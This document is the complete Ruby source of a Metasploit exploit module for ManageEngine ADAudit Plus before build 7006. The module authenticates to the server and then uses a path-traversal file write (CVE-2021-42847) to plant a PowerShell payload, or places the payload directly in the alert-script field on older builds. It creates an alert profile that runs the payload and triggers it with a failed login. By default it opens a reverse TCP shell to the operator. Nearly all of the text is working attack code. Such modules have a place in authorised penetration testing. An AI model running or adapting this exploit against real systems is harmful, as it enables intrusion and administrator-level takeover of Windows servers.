ManageEngine ADAudit Plus Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE',        'Description' => %q{          This module exploits security issues in ManageEngine ADAudit Plus          prior to 7006 that allow authenticated users to execute arbitrary          code by creating a custom alert profile and leveraging its custom          alert script component.          The module first runs a few checks to test the provided          credentials, retrieve the configured domain(s) and obtain the          build number of the target ADAudit Plus server.          If the credentials are valid and the target is          vulnerable, the module creates an alert profile that will be          triggered for any failed login attempt to the configured domain.          For versions prior to build 7004, the payload is directly inserted          in the custom alert script component of the alert profile.          For versions 7004 and 7005, the module leverages an arbitrary file          write vulnerability (CVE-2021-42847) to create a Powershell script          in the alert_scripts directory that contains the payload. The name          of this script is then provided as the value for the custom alert          script component of the alert profile.          This module requires valid credentials for an account with the          privileges to create alert scripts. It has been successfully tested          against ManageEngine ADAudit Plus builds 7003 and 7005 running on          Windows Server 2012 R2.          Successful exploitation will result in RCE as the user running          ManageEngine ADAudit Plus, which will typically be the local          administrator.        },        'License' => MSF_LICENSE,        'Author' => [          'Moon', # CVE-2021-42847 discovery          'Erik Wynter' # @wyntererik - Additional research and Metasploit module        ],        'References' => [          ['CVE', '2021-42847'],          ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'],          ['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html']        ],        'Privileged' => true,        'DisclosureDate' => '2021-10-01',        'Platform' => 'win',        'Arch' => ARCH_CMD,        'Targets' => [          [            'Windows Command',            {              'Type' => :win_cmd,              'Arch' => ARCH_CMD,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8081,          'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates.          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']),      OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']),      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']),    ])  end  def auth_domain    datastore['AUTH_DOMAIN']  end  def username    datastore['USERNAME']  end  def password    datastore['PASSWORD']  end  def delete_alert(adapcsrf_cookie)    print_status("Attempting to delete alert profile #{@alert_name}")    # let's try and get the the ID of the alert we want to delete    res_get_alert = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'TAB_ID' => '5', # this cannot be randomized        'adapcsrf' => adapcsrf_cookie      }    })    unless res_get_alert      print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")      return    end    unless res_get_alert.code == 200 && !res_get_alert.body.empty?      print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")      return    end    alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first    if alert_id.blank?      print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")      return    end    # delete the alert    res_delete_alert = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'data' => { 'ids' => [alert_id] }.to_json,        'adapcsrf' => adapcsrf_cookie      }    })    unless res_delete_alert      print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")      return    end    unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile')      print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")      return    end    print_good("Successfully deleted alert profile #{@alert_name}")  end  def create_alert_profile    if @exploit_method == 'cve_2021_42847'      print_status('Attempting to authenticate again in order to retrieve the required cookies.')      # We have to authenticate again in order to get the required cookie, so reset the cookie cache      cookie_jar.clear      login_results = adaudit_plus_login(auth_domain, username, password, true)      login_msg = login_results['message']      case login_results['status']      when adaudit_plus_status::CONNECTION_FAILED        fail_with(Failure::Unreachable, login_msg)      when adaudit_plus_status::UNEXPECTED_REPLY        fail_with(Failure::UnexpectedReply, login_msg)      when adaudit_plus_status::NO_ACCESS        fail_with(Failure::NoAccess, login_msg)      when adaudit_plus_status::SUCCESS        # just to distinguish it from any other potential statuses this method may return in the future      else        # this covers other potential statuses that this method may return in the future        # note that here the login method should never return adaudit_plus_status::NO_DOMAINS        # however, if it would do so due to some library change, treating it as an unknown failure makes sense        fail_with(Failure::Unknown, login_msg)      end      # Code must have been a success related code so we should have      # an adapcsrf_cookie entry within the login results hash.      @adapcsrf_cookie = login_results['adapcsrf_cookie']    end    print_status('Attempting to create an alert profile')    # visit /api/json/jsMessage to see if we're dealing with 7003 or lower    res_check_7004 = send_request_cgi({      'uri' => adaudit_api_js_message_uri,      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => { 'adapcsrf' => @adapcsrf_cookie }    })    unless res_check_7004      fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')    end    unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info')      fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')    end    alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\    'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security'    if res_check_7004.body&.include?(alert_script_7004_msg)      # we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847      unless @exploit_method == 'cve_2021_42847'        # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck        gpo_watcher_status = gpo_watcher_data_check        if gpo_watcher_status == adaudit_plus_status::SUCCESS          @exploit_method = 'cve_2021_42847'        else          fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.')        end        # here we have to authenticate again in order to get the required adapcsrf cookie        cookie_jar.clear        login_results = adaudit_plus_login(auth_domain, username, password, true)        login_msg = login_results['message']        case login_results['status']        when adaudit_plus_status::CONNECTION_FAILED          fail_with(Failure::Unreachable, login_msg)        when adaudit_plus_status::UNEXPECTED_REPLY          fail_with(Failure::UnexpectedReply, login_msg)        when adaudit_plus_status::NO_ACCESS          fail_with(Failure::NoAccess, login_msg)        when adaudit_plus_status::SUCCESS          # just to distinguish it from any other potential statuses this method may return in the future        else          fail_with(Failure::Unknown, login_msg)        end        @adapcsrf_cookie = login_results['adapcsrf_cookie']      end      # We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name      # when creating the alert profile. Therefore call the function to create this alert script and save the name of the      # script location.      @ps1_script_name = create_alert_script    end    # save the alert profile    @alert_name, alert_data = alert_profile_info    res_save_alert = send_request_cgi({      'uri' => adaudit_api_alertprofiles_save_uri,      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'data' => alert_data,        'adapcsrf' => @adapcsrf_cookie      }    })    unless res_save_alert      fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")    end    unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile')      print_error("The server sent the following response: #{res_save_alert.body&.strip}")      @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil      fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")    end    print_good("Successfully created alert profile #{@alert_name}")  end  def alert_profile_info    script_location = @ps1_script_name || payload.encoded    alert_name = rand_text_alphanumeric(8..12)    alert_data = {      'alertName' => alert_name,      'alertDescription' => rand_text_alpha(20..30),      'alertSeverity' => '1',      'alertMsg' => '%FORMAT_MESSAGE%',      'alertIsMailNotify' => false,      'alertIsSMSNotify' => false,      'monitorList' => [1],      'selectedCategory' => 'All',      'domainName' => @domain,      'isSave' => true,      'alertProfileId' => 'new',      'thresholdBasedAlert' => false,      'thresholdCount' => rand(5..15),      'thresholdPeriod' => '=',      'thresholdInterval' => rand(3..10),      'thresholdGroupingColumns' => [],      'throttleBasedAlert' => false,      'throttleInterval' => rand(30..90),      'throttleGroupingColumns' => [],      'userMap' => {},      'hourBasedAlert' => false,      'contentType' => 'html',      'alertMsgNeeded' => true,      'alertProfileNameNeeded' => true,      'mailAlertLink' => '',      'eventDetails' => true,      'emailMoreRecipients' => '',      'smsMoreRecipients' => '',      'scriptLocation' => script_location,      'alertFilter' => false,      'criteriaValue' => '-'    }.to_json    # we need to send along the alert name too since we'll need it to delete the alert after it's been created    [alert_name, alert_data]  end  def create_alert_script    ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1"    print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}")    if @domain.blank?      @domain = "#{rand_text_alpha_lower(5..10)}.local"      vprint_status("Using domain #{@domain} for the name of the directory we will be creating")    end    gpo_post_data = {      'DOMAIN_NAME' => @domain,      'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed      'htmlReport' => payload.encoded    }    res = send_request_cgi({      'method' => 'POST',      'uri' => adaudit_plus_gpo_watcher_data_uri,      'ctype' => 'application/json',      'data' => generate_gpo_watcher_data_json(gpo_post_data)    })    unless res      fail_with(Failure::Unreachable, 'Connection failed')    end    unless res.code == 200 && res.body&.include?('{"success":true}')      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')    end    print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")    ps1_script_name  end  def check    target_check_results = adaudit_plus_target_check    target_check_msg = target_check_results['message']    case target_check_results['status']    when adaudit_plus_status::CONNECTION_FAILED      return CheckCode::Unknown(target_check_msg)    when adaudit_plus_status::UNEXPECTED_REPLY      return CheckCode::Safe(target_check_msg)    when adaudit_plus_status::SUCCESS      vprint_status(target_check_msg)    else      # this covers cases that may be added in the future      return CheckCode::Unknown(target_check_msg)    end    target_check_res = target_check_results['server_response']    # In order to trigger the final payload in the exploit method, we will need to send an authentication request to    # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain,    # we can try to extract the FQDN for a configured domain from the server response    domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res)    domain_alias_msg = domain_alias_results['message']    if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS      return CheckCode::Safe(domain_alias_msg)    end    domain_aliases = domain_alias_results['domain_aliases']    # check if we actually have any configured domain aliases now, otherwise the target isn't exploitable    if domain_aliases.blank?      return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')    end    # if the only configured domain is the default domain, we will not be able to trigger the payload, so    # stop as there is no point in proceeding    if domain_aliases == ['ADAuditPlus Authentication']      return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')    end    # set the domain alias to the first configured domain, unless the user provided an invalid domain    # in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding    if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)      vprint_status(domain_alias_msg)      @domain_alias = domain_aliases.first      print_status("Using configured authentication domain alias #{@domain_alias}.")    else      # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed      print_status(domain_alias_msg)      return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")    end    print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}")    login_results = adaudit_plus_login(auth_domain, username, password, false)    login_msg = login_results['message']    case login_results['status']    when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY      return CheckCode::Unknown(login_msg)    when adaudit_plus_status::NO_ACCESS, NO_DOMAINS      # if we cannot authenticate, we can't create an alert profile so exploitation is impossible      # if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible      return CheckCode::Safe(login_msg)    when adaudit_plus_status::SUCCESS      @domain = login_results['configured_domains'].first      vprint_status("Using domain #{@domain} for the name of the directory we will be creating")    end    print_good('Successfully authenticated')    @adapcsrf_cookie = login_results['adapcsrf_cookie']    # check the build version to see if we can actually exploit the target    build_results = adaudit_plus_grab_build(@adapcsrf_cookie)    build_msg = build_results['message']    unless build_results['status'] == adaudit_plus_status::SUCCESS      # if we don't get a valid build number, we don't know what the target is, so we can't proceed      # however, we can also not say that the target is safe or detected, so we return Unknown      return CheckCode::Unknown(build_msg)    end    build_version = build_results['build_version']    if build_version < Rex::Version.new('7004')      @exploit_method = 'default'      CheckCode::Appears("The target is ADAudit Plus #{build_version}")    # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists    elsif build_version < Rex::Version.new('7006')      gpo_watcher_status = gpo_watcher_data_check      case gpo_watcher_status      when adaudit_plus_status::SUCCESS        @exploit_method = 'cve_2021_42847'        return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.")      when adaudit_plus_status::CONNECTION_FAILED        return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint")      when adaudit_plus_status::NO_ACCESS        return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.")      end    else      CheckCode::Safe("The target is ADAudit Plus #{build_version}")    end  end  def exploit    if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method      @exploit_method = 'default'    elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/      print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.')      print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload')    end    if @adapcsrf_cookie.blank?      # let's clear the cookie jar and try to authenticate      cookie_jar.clear      print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}")      login_results = adaudit_plus_login(auth_domain, username, password, false)      login_msg = login_results['message']      case login_results['status']      when adaudit_plus_status::CONNECTION_FAILED        fail_with(Failure::Unreachable, login_msg)      when adaudit_plus_status::UNEXPECTED_REPLY        fail_with(Failure::UnexpectedReply, login_msg)      when adaudit_plus_status::NO_ACCESS        fail_with(Failure::NoAccess, login_msg)      when adaudit_plus_status::NO_DOMAINS        fail_with(Failure::NotVulnerable, login_msg)      when adaudit_plus_status::SUCCESS        @domain = login_results['configured_domains'].first        vprint_status("Using domain #{@domain} for the name of the directory we will be creating")      else        # this covers other potential statuses that may be added in the future        fail_with(Failure::Unknown, login_msg)      end      print_good('Successfully authenticated')      @adapcsrf_cookie = login_results['adapcsrf_cookie']    end    # let's create the alert profile    create_alert_profile    # time to trigger the payload    if @domain_alias.nil?      # this means check didn't run, so we need to obtain the configured Active Directory domains      target_check_results = adaudit_plus_target_check      target_check_status = target_check_results['status']      target_check_msg = target_check_results['message']      unless target_check_status == adaudit_plus_status::SUCCESS        print_error('Failed to obtain the configured Active Directory domain aliases')        case target_check_status        when adaudit_plus_status::CONNECTION_FAILED          fail_with(Failure::Unreachable, target_check_msg)        when adaudit_plus_status::UNEXPECTED_REPLY          fail_with(Failure::UnexpectedReply, target_check_msg)        else          # this covers other potential statuses that this method may return in the future          fail_with(Failure::Unknown, target_check_msg)        end      end      target_check_res = target_check_results['server_response']      fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank?      # In order to trigger the final payload in the exploit method, we will need to send an authentication request to      # ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain,      # we can try to extract the FQDN for a configured domain from the server response.      domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body)      domain_alias_msg = domain_alias_results['message']      case domain_alias_results['status']      when adaudit_plus_status::NO_DOMAINS        fail_with(Failure::NotVulnerable, domain_alias_msg)      when adaudit_plus_status::SUCCESS        # make sure we actually have a domain alias, otherwise the target is not vulnerable        if domain_alias_results['domain_aliases'].blank?          fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')        end      else        fail_with(Failure::Unknown, domain_alias_msg)      end      domain_aliases = domain_alias_results['domain_aliases']      # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed      if domain_aliases == ['ADAuditPlus Authentication']        fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')      end      # set the domain alias to the first configured domain, unless the user provided an invalid domain      # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed      if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)        vprint_status(domain_alias_msg)        @domain_alias = domain_aliases.first        print_status("Using configured authentication domain alias #{@domain_alias}.")      else        # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed        print_status(domain_alias_msg)        fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")      end    end    print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.")    login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true)    login_msg = login_results['message']    manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain."    case login_results['status']    when adaudit_plus_status::CONNECTION_FAILED      fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}")    when adaudit_plus_status::UNEXPECTED_REPLY      fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}")    when adaudit_plus_status::NO_ACCESS      print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...")    when adaudit_plus_status::SUCCESS      fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}")    else      print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.')    end    @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session  end  def cleanup    return unless @alert_name # this should only run if we actually created an alert    if @pwned == 0      print_error('Failed to obtain a shell. You could try increasing the WfsDelay value')    end    cookie_jar.clear    login_results = adaudit_plus_login(auth_domain, username, password, true)    case login_results['status']    when adaudit_plus_status::SUCCESS      delete_alert(login_results['adapcsrf_cookie'])    when adaudit_plus_status::CONNECTION_FAILED      print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.')    when adaudit_plus_status::UNEXPECTED_REPLY      print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.')    when adaudit_plus_status::NO_ACCESS      print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.')    else      # this covers other potential statuses that this method may return in the future      # note that here the login method should never return adaudit_plus_status::NO_DOMAINS      # however, if it would do so due to some library change, treating it as unexpected reply makes sense      print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.')    end  end  def on_new_session(cli)    @pwned += 1    # if we wrote a PowerShell script to /alert_scripts, remind the user to delete it    # we may get two shells, so let's not repeat ourselves    if @pwned == 1      # I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically      # but when loading them manually, they worked it fine      if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason        print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'")      end      if @ps1_script_name        # meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script        print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory")      end    end    super  endend